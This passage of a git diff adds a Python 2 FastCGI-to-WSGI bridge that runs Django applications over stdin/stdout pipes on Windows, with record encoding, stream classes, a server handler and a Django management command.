+    return float(2.0 * (ntf + nft)) / denom
+
+
diff --git a/hard-gists/3004168/._snippet.py b/hard-gists/3004168/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3004168/._snippet.py differ
diff --git a/hard-gists/3004168/snippet.py b/hard-gists/3004168/snippet.py
new file mode 100644
index 00000000..2dbbc1c9
--- /dev/null
+++ b/hard-gists/3004168/snippet.py
@@ -0,0 +1,1087 @@
+# encoding: utf-8
+
+# FastCGI-to-WSGI bridge for files/pipes transport (not socket)
+#
+# Copyright (c) 2002, 2003, 2005, 2006 Allan Saddi <allan@saddi.com>
+# Copyright (c) 2011 Ruslan Keba <ruslan@helicontech.com>
+# Copyright (c) 2012 Antoine Martin <antoine@openance.com>
+# All rights reserved.
+#
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions
+# are met:
+# 1. Redistributions of source code must retain the above copyright
+#    notice, this list of conditions and the following disclaimer.
+# 2. Redistributions in binary form must reproduce the above copyright
+#    notice, this list of conditions and the following disclaimer in the
+#    documentation and/or other materials provided with the distribution.
+#
+# THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+# ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+# SUCH DAMAGE.
+#
+
+__author__ = 'Allan Saddi <allan@saddi.com>, Ruslan Keba <ruslan@helicontech.com>, Antoine Martin <antoine@openance.com>'
+
+import msvcrt
+import struct
+import os
+import os.path
+import logging
+import sys
+import traceback
+import datetime
+import urllib
+from optparse import OptionParser
+from django.core.management.base import BaseCommand
+from django.conf import settings
+
+
+# Constants from the spec.
+
+FCGI_LISTENSOCK_FILENO = 0
+FCGI_HEADER_LEN = 8
+FCGI_VERSION_1 = 1
+FCGI_BEGIN_REQUEST = 1
+FCGI_ABORT_REQUEST = 2
+FCGI_END_REQUEST = 3
+FCGI_PARAMS = 4
+FCGI_STDIN = 5
+FCGI_STDOUT = 6
+FCGI_STDERR = 7
+FCGI_DATA = 8
+FCGI_GET_VALUES = 9
+FCGI_GET_VALUES_RESULT = 10
+FCGI_UNKNOWN_TYPE = 11
+FCGI_MAXTYPE = FCGI_UNKNOWN_TYPE
+FCGI_NULL_REQUEST_ID = 0
+FCGI_KEEP_CONN = 1
+FCGI_RESPONDER = 1
+FCGI_AUTHORIZER = 2
+FCGI_FILTER = 3
+FCGI_REQUEST_COMPLETE = 0
+FCGI_CANT_MPX_CONN = 1
+FCGI_OVERLOADED = 2
+FCGI_UNKNOWN_ROLE = 3
+
+FCGI_MAX_CONNS = 'FCGI_MAX_CONNS'
+FCGI_MAX_REQS = 'FCGI_MAX_REQS'
+FCGI_MPXS_CONNS = 'FCGI_MPXS_CONNS'
+
+FCGI_Header = '!BBHHBx'
+FCGI_BeginRequestBody = '!HB5x'
+FCGI_EndRequestBody = '!LB3x'
+FCGI_UnknownTypeBody = '!B7x'
+
+FCGI_EndRequestBody_LEN = struct.calcsize(FCGI_EndRequestBody)
+FCGI_UnknownTypeBody_LEN = struct.calcsize(FCGI_UnknownTypeBody)
+
+FCGI_HEADER_NAMES = (
+    'ERROR TYPE: 0',
+    'BEGIN_REQUEST',
+    'ABORT_REQUEST',
+    'END_REQUEST',
+    'PARAMS',
+    'STDIN',
+    'STDOUT',
+    'STDERR',
+    'DATA',
+    'GET_VALUES',
+    'GET_VALUES_RESULT',
+    'UNKNOWN_TYPE',
+)
+
+FCGI_DEBUG = getattr(settings, 'FCGI_DEBUG', settings.DEBUG)
+FCGI_LOG = getattr(settings, 'FCGI_LOG', FCGI_DEBUG)
+FCGI_LOG_PATH = getattr(settings, 'FCGI_LOG_PATH', os.path.dirname(os.path.abspath(sys.argv[0])))
+
+class InputStream(object):
+    """
+    File-like object representing FastCGI input streams (FCGI_STDIN and
+    FCGI_DATA). Supports the minimum methods required by WSGI spec.
+    """
+
+    def __init__(self, conn):
+        self._conn = conn
+
+        # See Server.
+        self._shrinkThreshold = conn.server.inputStreamShrinkThreshold
+
+        self._buf = ''
+        self._bufList = []
+        self._pos = 0 # Current read position.
+        self._avail = 0 # Number of bytes currently available.
+
+        self._eof = False # True when server has sent EOF notification.
+
+    def _shrinkBuffer(self):
+        """Gets rid of already read data (since we can't rewind)."""
+        if self._pos >= self._shrinkThreshold:
+            self._buf = self._buf[self._pos:]
+            self._avail -= self._pos
+            self._pos = 0
+
+            assert self._avail >= 0
+
+    def _waitForData(self):
+        """Waits for more data to become available."""
+        self._conn.process_input()
+
+    def read(self, n=-1):
+        if self._pos == self._avail and self._eof:
+            return ''
+        while True:
+            if n < 0 or (self._avail - self._pos) < n:
+                # Not enough data available.
+                if self._eof:
+                    # And there's no more coming.
+                    newPos = self._avail
+                    break
+                else:
+                    # Wait for more data.
+                    self._waitForData()
+                    continue
+            else:
+                newPos = self._pos + n
+                break
+            # Merge buffer list, if necessary.
+        if self._bufList:
+            self._buf += ''.join(self._bufList)
+            self._bufList = []
+        r = self._buf[self._pos:newPos]
+        self._pos = newPos
+        self._shrinkBuffer()
+        return r
+
+    def readline(self, length=None):
+        if self._pos == self._avail and self._eof:
+            return ''
+        while True:
+            # Unfortunately, we need to merge the buffer list early.
+            if self._bufList:
+                self._buf += ''.join(self._bufList)
+                self._bufList = []
+                # Find newline.
+            i = self._buf.find('\n', self._pos)
+            if i < 0:
+                # Not found?
+                if self._eof:
+                    # No more data coming.
+                    newPos = self._avail
+                    break
+                else:
+                    if length is not None and len(self._buf) >= length + self._pos:
+                        newPos = self._pos + length
+                        break
+                        # Wait for more to come.
+                    self._waitForData()
+                    continue
+            else:
+                newPos = i + 1
+                break
+        r = self._buf[self._pos:newPos]
+        self._pos = newPos
+        self._shrinkBuffer()
+        return r
+
+    def readlines(self, sizehint=0):
+        total = 0
+        lines = []
+        line = self.readline()
+        while line:
+            lines.append(line)
+            total += len(line)
+            if 0 < sizehint <= total:
+                break
+            line = self.readline()
+        return lines
+
+    def __iter__(self):
+        return self
+
+    def next(self):
+        r = self.readline()
+        if not r:
+            raise StopIteration
+        return r
+
+    def add_data(self, data):
+        if not data:
+            self._eof = True
+        else:
+            self._bufList.append(data)
+            self._avail += len(data)
+
+
+class OutputStream(object):
+    """
+    FastCGI output stream (FCGI_STDOUT/FCGI_STDERR). By default, calls to
+    write() or writelines() immediately result in Records being sent back
+    to the server. Buffering should be done in a higher level!
+    """
+
+    def __init__(self, conn, req, type, buffered=False):
+        self._conn = conn
+        self._req = req
+        self._type = type
+        self._buffered = buffered
+        self._bufList = [] # Used if buffered is True
+        self.dataWritten = False
+        self.closed = False
+
+    def _write(self, data):
+        length = len(data)
+        while length:
+            to_write = min(length, self._req.server.maxwrite - FCGI_HEADER_LEN)
+
+            rec = Record(self._type, self._req.requestId)
+            rec.contentLength = to_write
+            rec.contentData = data[:to_write]
+            self._conn.writeRecord(rec)
+
+            data = data[to_write:]
+            length -= to_write
+
+    def write(self, data):
+        assert not self.closed
+
+        if not data:
+            return
+
+        self.dataWritten = True
+
+        if self._buffered:
+            self._bufList.append(data)
+        else:
+            self._write(data)
+
+    def writelines(self, lines):
+        assert not self.closed
+
+        for line in lines:
+            self.write(line)
+
+    def flush(self):
+        # Only need to flush if this OutputStream is actually buffered.
+        if self._buffered:
+            data = ''.join(self._bufList)
+            self._bufList = []
+            self._write(data)
+
+    # Though available, the following should NOT be called by WSGI apps.
+    def close(self):
+        """Sends end-of-stream notification, if necessary."""
+        if not self.closed and self.dataWritten:
+            self.flush()
+            rec = Record(self._type, self._req.requestId)
+            self._conn.writeRecord(rec)
+            self.closed = True
+
+
+class TeeOutputStream(object):
+    """
+    Simple wrapper around two or more output file-like objects that copies
+    written data to all streams.
+    """
+
+    def __init__(self, streamList):
+        self._streamList = streamList
+
+    def write(self, data):
+        for f in self._streamList:
+            f.write(data)
+
+    def writelines(self, lines):
+        for line in lines:
+            self.write(line)
+
+    def flush(self):
+        for f in self._streamList:
+            f.flush()
+
+
+class StdoutWrapper(object):
+    """
+    Wrapper for sys.stdout so we know if data has actually been written.
+    """
+
+    def __init__(self, stdout):
+        self._file = stdout
+        self.dataWritten = False
+
+    def write(self, data):
+        if data:
+            self.dataWritten = True
+        self._file.write(data)
+
+    def writelines(self, lines):
+        for line in lines:
+            self.write(line)
+
+    def __getattr__(self, name):
+        return getattr(self._file, name)
+
+
+def decode_pair(s, pos=0):
+    """
+    Decodes a name/value pair.
+
+    The number of bytes decoded as well as the name/value pair
+    are returned.
+    """
+    nameLength = ord(s[pos])
+    if nameLength & 128:
+        nameLength = struct.unpack('!L', s[pos:pos + 4])[0] & 0x7fffffff
+        pos += 4
+    else:
+        pos += 1
+
+    valueLength = ord(s[pos])
+    if valueLength & 128:
+        valueLength = struct.unpack('!L', s[pos:pos + 4])[0] & 0x7fffffff
+        pos += 4
+    else:
+        pos += 1
+
+    name = s[pos:pos + nameLength]
+    pos += nameLength
+    value = s[pos:pos + valueLength]
+    pos += valueLength
+
+    return pos, (name, value)
+
+
+def encode_pair(name, value):
+    """
+    Encodes a name/value pair.
+
+    The encoded string is returned.
+    """
+    nameLength = len(name)
+    if nameLength < 128:
+        s = chr(nameLength)
+    else:
+        s = struct.pack('!L', nameLength | 0x80000000L)
+
+    valueLength = len(value)
+    if valueLength < 128:
+        s += chr(valueLength)
+    else:
+        s += struct.pack('!L', valueLength | 0x80000000L)
+
+    return s + name + value
+
+
+class Record(object):
+    """
+    A FastCGI Record.
+    Used for encoding/decoding records.
+    """
+
+    def __init__(self, type=FCGI_UNKNOWN_TYPE, requestId=FCGI_NULL_REQUEST_ID):
+        self.version = FCGI_VERSION_1
+        self.type = type
+        self.requestId = requestId
+        self.contentLength = 0
+        self.paddingLength = 0
+        self.contentData = ''
+
+
+    def _recvall(stream, length):
+        """
+        Attempts to receive length bytes from a socket, blocking if necessary.
+        (Socket may be blocking or non-blocking.)
+        """
+
+        if FCGI_DEBUG: logging.debug('_recvall (%d)' % (length))
+
+        dataList = []
+        recvLen = 0
+
+        while length:
+            data = stream.read(length)
+            if not data: # EOF
+                break
+            dataList.append(data)
+            dataLen = len(data)
+            recvLen += dataLen
+            length -= dataLen
+
+        #if FCGI_DEBUG: logging.debug('recived length = %d' % (recvLen))
+
+        return ''.join(dataList), recvLen
+
+    _recvall = staticmethod(_recvall)
+
+
+    def read(self, stream):
+        """Read and decode a Record from a socket."""
+        try:
+            header, length = self._recvall(stream, FCGI_HEADER_LEN)
+        except:
+            raise 
+            raise EOFError
+
+        if length < FCGI_HEADER_LEN:
+            raise EOFError
+
+        if FCGI_DEBUG:
+            hex = ''
+            for s in header:
+                hex += '%x|' % (ord(s))
+
+        self.version, self.type, self.requestId, self.contentLength,\
+        self.paddingLength = struct.unpack(FCGI_Header, header)
+
+        if FCGI_DEBUG: logging.debug('recv fcgi header: %s %s len: %d' % (FCGI_HEADER_NAMES[self.type] if self.type is not None and self.type < FCGI_MAXTYPE else FCGI_HEADER_NAMES[FCGI_MAXTYPE], hex, len(header)))
+
+        if self.contentLength:
+            try:
+                self.contentData, length = self._recvall(stream, self.contentLength)
+            except:
+                raise EOFError
+
+            if length < self.contentLength:
+                raise EOFError
+
+        if self.paddingLength:
+            try:
+                self._recvall(stream, self.paddingLength)
+            except:
+                raise EOFError
+
+    def _sendall(stream, data):
+        """
+        Writes data to a socket and does not return until all the data is sent.
+        """
+        if FCGI_DEBUG: logging.debug('_sendall: len=%d' % len(data))
+        stream.write(data)
+
+    _sendall = staticmethod(_sendall)
+
+
+    def write(self, stream):
+        """Encode and write a Record to a socket."""
+        if not self.contentLength:
+            self.paddingLength = 8
+        else:
+            self.paddingLength = -self.contentLength & 7
+
+        header = struct.pack(FCGI_Header, self.version, self.type,
+                             self.requestId, self.contentLength,
+                             self.paddingLength)
+
+        if FCGI_DEBUG: logging.debug('send fcgi header: %s' % FCGI_HEADER_NAMES[self.type] if self.type is not None and self.type < FCGI_MAXTYPE else FCGI_HEADER_NAMES[FCGI_MAXTYPE])
+        
+        self._sendall(stream, header)
+
+        if self.contentLength:
+            if FCGI_DEBUG: logging.debug('send CONTENT')
+            self._sendall(stream, self.contentData)
+        if self.paddingLength:
+            if FCGI_DEBUG: logging.debug('send PADDING')
+            self._sendall(stream, '\x00' * self.paddingLength)
+
+
+
+class Request(object):
+    """
+    Represents a single FastCGI request.
+
+    These objects are passed to your handler and is the main interface
+    between your handler and the fcgi module. The methods should not
+    be called by your handler. However, server, params, stdin, stdout,
+    stderr, and data are free for your handler's use.
+    """
+
+    def __init__(self, conn, inputStreamClass):
+        self._conn = conn
+
+        self.server = conn.server
+        self.params = {}
+        self.stdin = inputStreamClass(conn)
+        self.stdout = OutputStream(conn, self, FCGI_STDOUT)
+        self.stderr = OutputStream(conn, self, FCGI_STDERR)
+        self.data = inputStreamClass(conn)
+
+
+    def run(self):
+        """Runs the handler, flushes the streams, and ends the request."""
+
+        try:
+            protocolStatus, appStatus = self.server.handler(self)
+        except Exception, instance:
+            if FCGI_DEBUG: 
+                logging.error(traceback.format_exc())
+            raise
+            # TODO: fix it
+            #self.stderr.flush()
+            #if not self.stdout.dataWritten:
+            #    self.server.error(self)
+            #protocolStatus, appStatus = FCGI_REQUEST_COMPLETE, 0
+
+        if FCGI_DEBUG: logging.debug('protocolStatus = %d, appStatus = %d' % (protocolStatus, appStatus))
+        
+        self._flush()
+        self._end(appStatus, protocolStatus)
+
+
+    def _end(self, appStatus=0L, protocolStatus=FCGI_REQUEST_COMPLETE):
+        self._conn.end_request(self, appStatus, protocolStatus)
+
+
+    def _flush(self):
+        self.stdout.flush()
+        self.stderr.flush()
+
+
+class Connection(object):
+    """
+    A Connection with the web server.
+
+    Each Connection is associated with a single socket (which is
+    connected to the web server) and is responsible for handling all
+    the FastCGI message processing for that socket.
+    """
+
+    _multiplexed = False
+    _inputStreamClass = InputStream
+
+    def __init__(self, stdin, stdout, server):
+        self._stdin = stdin
+        self._stdout = stdout
+        self.server = server
+
+        # Active Requests for this Connection, mapped by request ID.
+        self._requests = {}
+
+
+    def run(self):
+        """Begin processing data from the socket."""
+
+        self._keepGoing = True
+        while self._keepGoing:
+            try:
+                self.process_input()
+            except KeyboardInterrupt:
+                break
+            #except EOFError, inst:
+            #    raise
+            #    if FCGI_DEBUG: logging.error(str(inst))
+            #    break
+
+
+    def process_input(self):
+        """Attempt to read a single Record from the socket and process it."""
+        # Currently, any children Request threads notify this Connection
+        # that it is no longer needed by closing the Connection's socket.
+        # We need to put a timeout on select, otherwise we might get
+        # stuck in it indefinitely... (I don't like this solution.)
+
+        if not self._keepGoing:
+            return
+
+        rec = Record()
+        rec.read(self._stdin)
+
+        if rec.type == FCGI_GET_VALUES:
+            self._do_get_values(rec)
+        elif rec.type == FCGI_BEGIN_REQUEST:
+            self._do_begin_request(rec)
+        elif rec.type == FCGI_ABORT_REQUEST:
+            self._do_abort_request(rec)
+        elif rec.type == FCGI_PARAMS:
+            self._do_params(rec)
+        elif rec.type == FCGI_STDIN:
+            self._do_stdin(rec)
+        elif rec.type == FCGI_DATA:
+            self._do_data(rec)
+        elif rec.requestId == FCGI_NULL_REQUEST_ID:
+            self._do_unknown_type(rec)
+        else:
+            # Need to complain about this.
+            pass
+
+
+    def writeRecord(self, rec):
+        """
+        Write a Record to the socket.
+        """
+        rec.write(self._stdout)
+
+
+    def end_request(self, req, appStatus=0L, protocolStatus=FCGI_REQUEST_COMPLETE, remove=True):
+        """
+        End a Request.
+
+        Called by Request objects. An FCGI_END_REQUEST Record is
+        sent to the web server. If the web server no longer requires
+        the connection, the socket is closed, thereby ending this
+        Connection (run() returns).
+        """
+
+        # write empty packet to stdin
+        rec = Record(FCGI_STDOUT, req.requestId)
+        rec.contentData = ''
+        rec.contentLength = 0
+        self.writeRecord(rec)
+
+        # write end request
+        rec = Record(FCGI_END_REQUEST, req.requestId)
+        rec.contentData = struct.pack(FCGI_EndRequestBody, appStatus,
+                                      protocolStatus)
+        rec.contentLength = FCGI_EndRequestBody_LEN
+        self.writeRecord(rec)
+
+        if remove:
+            if FCGI_DEBUG: logging.debug('end_request: removing request from list')
+            del self._requests[req.requestId]
+
+        if FCGI_DEBUG: logging.debug('end_request: flags = %d' % req.flags)
+
+        if not (req.flags & FCGI_KEEP_CONN) and not self._requests:
+            if FCGI_DEBUG: logging.debug('end_request: set _keepGoing = False')
+            self._keepGoing = False
+
+
+    def _do_get_values(self, inrec):
+        """Handle an FCGI_GET_VALUES request from the web server."""
+
+        outrec = Record(FCGI_GET_VALUES_RESULT)
+
+        pos = 0
+        while pos < inrec.contentLength:
+            pos, (name, value) = decode_pair(inrec.contentData, pos)
+            cap = self.server.capability.get(name)
+            if cap is not None:
+                outrec.contentData += encode_pair(name, str(cap))
+
+        outrec.contentLength = len(outrec.contentData)
+        self.writeRecord(outrec)
+
+
+    def _do_begin_request(self, inrec):
+        """Handle an FCGI_BEGIN_REQUEST from the web server."""
+        role, flags = struct.unpack(FCGI_BeginRequestBody, inrec.contentData)
+
+        req = self.server.request_class(self, self._inputStreamClass)
+        req.requestId, req.role, req.flags = inrec.requestId, role, flags
+        req.aborted = False
+
+        if not self._multiplexed and self._requests:
+            # Can't multiplex requests.
+            self.end_request(req, 0L, FCGI_CANT_MPX_CONN, remove=False)
+        else:
+            self._requests[inrec.requestId] = req
+
+
+    def _do_abort_request(self, inrec):
+        """
+        Handle an FCGI_ABORT_REQUEST from the web server.
+
+        We just mark a flag in the associated Request.
+        """
+        req = self._requests.get(inrec.requestId)
+        if req is not None:
+            req.aborted = True
+
+
+    def _start_request(self, req):
+        """Run the request."""
+        # Not multiplexed, so run it inline.
+        req.run()
+
+
+    def _do_params(self, inrec):
+        """
+        Handle an FCGI_PARAMS Record.
+
+        If the last FCGI_PARAMS Record is received, start the request.
+        """
+
+        req = self._requests.get(inrec.requestId)
+        if req is not None:
+            if inrec.contentLength:
+                pos = 0
+                while pos < inrec.contentLength:
+                    pos, (name, value) = decode_pair(inrec.contentData, pos)
+                    req.params[name] = value
+
+
+    def _do_stdin(self, inrec):
+        """Handle the FCGI_STDIN stream."""
+        req = self._requests.get(inrec.requestId)
+
+        if inrec.contentLength:
+            if req is not None:
+                req.stdin.add_data(inrec.contentData)
+        else:
+            self._start_request(req)
+
+
+    def _do_data(self, inrec):
+        """Handle the FCGI_DATA stream."""
+        req = self._requests.get(inrec.requestId)
+        if req is not None:
+            req.data.add_data(inrec.contentData)
+
+
+    def _do_unknown_type(self, inrec):
+        """Handle an unknown request type. Respond accordingly."""
+        outrec = Record(FCGI_UNKNOWN_TYPE)
+        outrec.contentData = struct.pack(FCGI_UnknownTypeBody, inrec.type)
+        outrec.contentLength = FCGI_UnknownTypeBody_LEN
+        self.writeRecord(outrec)
+
+
+class FCGIServer(object):
+    request_class = Request
+    maxwrite = 8192
+    inputStreamShrinkThreshold = 102400 - 8192
+
+    def __init__(self, application, environ=None,
+                 multithreaded=False, multiprocess=False,
+                 debug=False, roles=(FCGI_RESPONDER,),
+                 app_root=None):
+        if environ is None:
+            environ = {}
+
+        self.application = application
+        self.environ = environ
+        self.multithreaded = multithreaded
+        self.multiprocess = multiprocess
+        self.debug = debug
+        self.roles = roles
+        self._connectionClass = Connection
+        self.capability = {
+            # If threads aren't available, these are pretty much correct.
+            FCGI_MAX_CONNS: 1,
+            FCGI_MAX_REQS: 1,
+            FCGI_MPXS_CONNS: 0
+        }
+        self.app_root = app_root
+
+
+    def run(self):
+        msvcrt.setmode(sys.stdin.fileno(), os.O_BINARY)
+        stdin = sys.stdin
+        stdout = os.fdopen(sys.stdin.fileno(), 'w', 0)
+
+        conn = Connection(stdin, stdout, self)
+        conn.run()
+
+
+    def handler(self, req):
+        """Special handler for WSGI."""
+        if req.role not in self.roles:
+            return FCGI_UNKNOWN_ROLE, 0
+
+        # Mostly taken from example CGI gateway.
+        environ = req.params
+        environ.update(self.environ)
+
+        environ['wsgi.version'] = (1, 0)
+        environ['wsgi.input'] = req.stdin
+        stderr = TeeOutputStream((sys.stderr, req.stderr))
+        environ['wsgi.errors'] = stderr
+        environ['wsgi.multithread'] = False
+        environ['wsgi.multiprocess'] = False
+        environ['wsgi.run_once'] = False
+
+        if environ.get('HTTPS', 'off') in ('on', '1'):
+            environ['wsgi.url_scheme'] = 'https'
+        else:
+            environ['wsgi.url_scheme'] = 'http'
+
+        self._sanitizeEnv(environ)
+
+        headers_set = []
+        headers_sent = []
+        result = None
+
+        def write(data):
+            assert type(data) is str, 'write() argument must be string'
+            assert headers_set, 'write() before start_response()'
+
+            if not headers_sent:
+                status, responseHeaders = headers_sent[:] = headers_set
+                found = False
+                for header, value in responseHeaders:
+                    if header.lower() == 'content-length':
+                        found = True
+                        break
+                if not found and result is not None:
+                    try:
+                        if len(result) == 1:
+                            responseHeaders.append(('Content-Length',
+                                                    str(len(data))))
+                    except:
+                        pass
+                s = 'Status: %s\r\n' % status
+                for header in responseHeaders:
+                    s += '%s: %s\r\n' % header
+                s += '\r\n'
+                req.stdout.write(s)
+
+            req.stdout.write(data)
+            req.stdout.flush()
+
+        def start_response(status, response_headers, exc_info=None):
+            if exc_info:
+                try:
+                    if headers_sent:
+                        # Re-raise if too late
+                        raise exc_info[0], exc_info[1], exc_info[2]
+                finally:
+                    exc_info = None # avoid dangling circular ref
+            else:
+                assert not headers_set, 'Headers already set!'
+
+            assert type(status) is str, 'Status must be a string'
+            assert len(status) >= 4, 'Status must be at least 4 characters'
+            assert int(status[:3]), 'Status must begin with 3-digit code'
+            assert status[3] == ' ', 'Status must have a space after code'
+            assert type(response_headers) is list, 'Headers must be a list'
+            if FCGI_DEBUG:
+                logging.debug('response headers:')
+                for name, val in response_headers:
+                    assert type(name) is str, 'Header name "%s" must be a string' % name
+                    assert type(val) is str, 'Value of header "%s" must be a string' % name
+                    logging.debug('%s: %s' % (name, val))
+
+            headers_set[:] = [status, response_headers]
+            return write
+
+        try:
+            try:
+                result = self.application(environ, start_response)
+                try:
+                    for data in result:
+                        if data:
+                            write(data)
+                    if not headers_sent:
+                        write('') # in case body was empty
+                finally:
+                    #if hasattr(result, 'close'):
+                    #    result.close()
+                    pass
+            #except socket.error, e:
+            #    if e[0] != errno.EPIPE:
+            #        raise # Don't let EPIPE propagate beyond server
+            except:
+                raise
+        finally:
+            pass
+
+        return FCGI_REQUEST_COMPLETE, 0
+
+
+    def _sanitizeEnv(self, environ):
+        """Ensure certain values are present, if required by WSGI."""
+        
+        if FCGI_DEBUG:
+            logging.debug('raw envs: {0}'.format(environ))
+
+        #if not environ.has_key('SCRIPT_NAME'):
+        #    environ['SCRIPT_NAME'] = ''
+        # TODO: fix for django
+        environ['SCRIPT_NAME'] = ''
+
+        reqUri = None
+        if environ.has_key('REQUEST_URI'):
+            reqUri = environ['REQUEST_URI'].split('?', 1)
+
+        if not environ.has_key('PATH_INFO') or not environ['PATH_INFO']:
+            if reqUri is not None:
+                environ['PATH_INFO'] = reqUri[0]
+            else:
+                environ['PATH_INFO'] = ''
+        
+        # convert %XX to python unicode
+        environ['PATH_INFO'] = urllib.unquote(environ['PATH_INFO'])
+
+        # process app_root
+        if self.app_root and environ['PATH_INFO'].startswith(self.app_root):
+            environ['PATH_INFO'] = environ['PATH_INFO'][len(self.app_root):]
+
+        if not environ.has_key('QUERY_STRING') or not environ['QUERY_STRING']:
+            if reqUri is not None and len(reqUri) > 1:
+                environ['QUERY_STRING'] = reqUri[1]
+            else:
+                environ['QUERY_STRING'] = ''
+
+        # If any of these are missing, it probably signifies a broken
+        # server...
+        for name, default in [('REQUEST_METHOD', 'GET'),
+                              ('SERVER_NAME', 'localhost'),
+                              ('SERVER_PORT', '80'),
+                              ('SERVER_PROTOCOL', 'HTTP/1.0')]:
+            if not environ.has_key(name):
+                environ['wsgi.errors'].write('%s: missing FastCGI param %s '
+                                             'required by WSGI!\n' %
+                                             (self.__class__.__name__, name))
+                environ[name] = default
+
+
+    def error(self, req):
+        """
+        Called by Request if an exception occurs within the handler. May and
+        should be overridden.
+        """
+        if self.debug:
+            import cgitb
+
+            req.stdout.write('Status: 500 Internal Server Error\r\n' +
+                             'Content-Type: text/html\r\n\r\n' +
+                             cgitb.html(sys.exc_info()))
+        else:
+            errorpage = """<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
+<html><head>
+<title>Unhandled Exception</title>
+</head><body>
+<h1>Unhandled Exception</h1>
+<p>An unhandled exception was thrown by the application.</p>
+</body></html>
+"""
+            req.stdout.write('Status: 500 Internal Server Error\r\n' +
+                             'Content-Type: text/html\r\n\r\n' +
+                             errorpage)
+
+
+def example_application(environ, start_response):
+    '''example wsgi app which outputs wsgi environment'''
+    logging.debug('wsgi app started')
+    data = ''
+    env_keys = environ.keys()
+    env_keys.sort()
+    for e in env_keys:
+        data += '%s: %s\n' % (e, environ[e])
+    data += 'sys.version: '+sys.version+'\n'
+    start_response('200 OK', [('Content-Type', 'text/plain'), ('Content-Length', str(len(data)))])
+    yield data
+
+
+def run_example_app():
+    if FCGI_DEBUG: logging.info('run_fcgi: STARTED')
+    FCGIServer(example_application).run()
+    if FCGI_DEBUG: logging.info('run_fcgi: EXITED')
+
+
+def run_django_app(django_settings_module, django_root):
+    '''run django app by django_settings_module,
+    django_settings_module can be python path or physical path
+    '''
+    if os.path.exists(django_settings_module):
+        # this is physical path
+        app_path, app_settings = os.path.split(django_settings_module)
+
+        # add diretory to PYTHONPATH
+        app_dir = os.path.dirname(app_path)
+        if app_dir not in sys.path:
+            sys.path.append(app_dir)
+            if FCGI_DEBUG: logging.debug('%s added to PYTHONPATH' % app_dir)
+
+        # cut .py extension in module
+        if app_settings.endswith('.py'):
+            app_settings = app_settings[:-3]
+
+        # get python path to settings
+        settings_module = '%s.%s' % (os.path.basename(app_path), app_settings)
+    else:
+        #consider that django_settings_module is valid python path
+        settings_module = django_settings_module
+
+    os.environ['DJANGO_SETTINGS_MODULE'] = settings_module
+    if FCGI_DEBUG: logging.info('DJANGO_SETTINGS_MODULE set to %s' % settings_module)
+
+    try:
+        from django.core.handlers.wsgi import WSGIHandler
+    except ImportError:
+        if FCGI_DEBUG: logging.error('Could not import django.core.handlers.wsgi module. Check that django is installed and in PYTHONPATH.')
+        raise
+
+
+
+    FCGIServer(WSGIHandler(), app_root=django_root).run()
+
+class Command(BaseCommand):
+    args = '[root_path]'
+    help = '''Run as a fcgi server'''
+    def handle(self, *args, **options):
+		django_root=args[0] if args else None
+		if FCGI_LOG:
+			logging.basicConfig(
+				filename=os.path.join(FCGI_LOG_PATH, 'fcgi_%s_%d.log' %(datetime.datetime.now().strftime('%y%m%d_%H%M%S'), os.getpid())),
+				filemode='w',
+				format='%(asctime)s [%(levelname)-5s] %(message)s',
+				level=logging.DEBUG)
+		try:
+			from django.core.handlers.wsgi import WSGIHandler
+		except ImportError:
+			if FCGI_DEBUG: logging.error('Could not import django.core.handlers.wsgi module. Check that django is installed and in PYTHONPATH.')
+			raise
+
+
+
+		FCGIServer(WSGIHandler(), app_root=django_root).run()
+
+
+if __name__ == '__main__':
+
+    # compile self
+    compiled = os.path.split(__file__)[-1].replace('.py', '.pyc' if FCGI_DEBUG else '.pyo')
+    if not os.path.exists(compiled):
+        import py_compile
+        try:
+            py_compile.compile(__file__)
+        except:
+            pass
+
+    # enable logging
+    if FCGI_DEBUG:
+        logging.basicConfig(
+            filename=os.path.join(FCGI_LOG_PATH, 'fcgi_%s_%d.log' %(datetime.datetime.now().strftime('%y%m%d_%H%M%S'), os.getpid())),
+            filemode='w',
+            format='%(asctime)s [%(levelname)-5s] %(message)s',
+            level=logging.DEBUG)
+        
+    # If we are inside a subdirectory of a django app, set the default Djan
+    default_django_settings_module=None
+    parent_settings_file = os.path.join(os.path.dirname(os.path.dirname(__file__)), 'settings.py')
+    if os.path.exists(parent_settings_file):
+        default_django_settings_module = os.path.abspath(parent_settings_file)
+        if FCGI_DEBUG: 
+            logging.info('default DJANGO_SETTINGS_MODULE set to %s' % default_django_settings_module)
+
+
+    # parse options
+    usage = "usage: %prog [options]"
+    parser = OptionParser(usage)
+    parser.add_option("", "--django-settings-module", dest="django_settings_module", help="python or physical path to Django settings module")
+    parser.add_option("", "--django-root", dest="django_root", help="strip this string from the front of any URLs before matching them against your URLconf patterns.")
+    parser.set_defaults(
+        django_settings_module = os.environ.get('DJANGO_SETTINGS_MODULE', default_django_settings_module),
+        django_root = os.environ.get('django.root', None)
+    )
+
+    (options, args) = parser.parse_args()
+
+    # check django
+    if options.django_settings_module:
+        run_django_app(options.django_settings_module, options.django_root)
+    else:
+        # run example app
+        run_example_app()
+
+		
+
+
+        
\ No newline at end of file
diff --git a/hard-gists/3009143/._snippet.py b/hard-gists/3009143/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3009143/._snippet.py differ
diff --git a/hard-gists/3009143/snippet.py b/hard-gists/3009143/snippet.py
